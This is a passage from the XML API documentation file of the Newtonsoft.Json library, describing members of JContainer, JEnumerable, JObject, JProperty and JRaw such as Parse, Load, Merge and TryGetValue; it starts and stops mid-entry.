child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>\n            An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Descendants\">\n            <summary>\n            Returns a collection of the descendant tokens for this token in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.DescendantsAndSelf\">\n            <summary>\n            Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing this token, and all the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Add(System.Object)\">\n            <summary>\n            Adds the specified content as children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.AddFirst(System.Object)\">\n            <summary>\n            Adds the specified content as the first children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.CreateWriter\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that can be used to add tokens to the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that is ready to have content written to it.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.ReplaceAll(System.Object)\">\n            <summary>\n            Replaces the child nodes of this token with the specified content.\n            </summary>\n            <param name=\"content\">The content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.RemoveAll\">\n            <summary>\n            Removes the child nodes from this token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object,Newtonsoft.Json.Linq.JsonMergeSettings)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> used to merge the content.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Count\">\n            <summary>\n            Gets the count of child JSON tokens.\n            </summary>\n            <value>The count of child JSON tokens.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JEnumerable`1.Empty\">\n            <summary>\n            An empty collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.#ctor(System.Collections.Generic.IEnumerable{`0})\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> struct.\n            </summary>\n            <param name=\"enumerable\">The enumerable.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(Newtonsoft.Json.Linq.JEnumerable{`0})\">\n            <summary>\n            Determines whether the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance.\n            </summary>\n            <param name=\"other\">The <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to this instance.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetHashCode\">\n            <summary>\n            Returns a hash code for this instance.\n            </summary>\n            <returns>\n            A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. \n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JObject\">\n            <summary>\n            Represents a JSON object.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\">\n            <summary>\n            Occurs when a property value changes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(Newtonsoft.Json.Linq.JObject)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Properties\">\n            <summary>\n            Gets an <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            The exact name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> matched with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.PropertyValues\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.String)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,System.StringComparison,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Add(System.String,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.ContainsKey(System.String)\">\n            <summary>\n            Determines whether the JSON object has the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if the JSON object has the specified property name; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Remove(System.String)\">\n            <summary>\n            Removes the property with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if item was successfully removed; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.OnPropertyChanged(System.String)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\"/> event with the provided arguments.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JProperty\">\n            <summary>\n            Represents a JSON property.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Name\">\n            <summary>\n            Gets the property name.\n            </summary>\n            <value>The property name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Value\">\n            <summary>\n            Gets or sets the property value.\n            </summary>\n            <value>The property value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(Newtonsoft.Json.Linq.JProperty)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object to copy from.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JRaw\">\n            <summary>\n            Represents a raw JSON string.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.CreateAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.\n            </summary>\n            <param name=\"reader\">The reader.</param>\n            <param 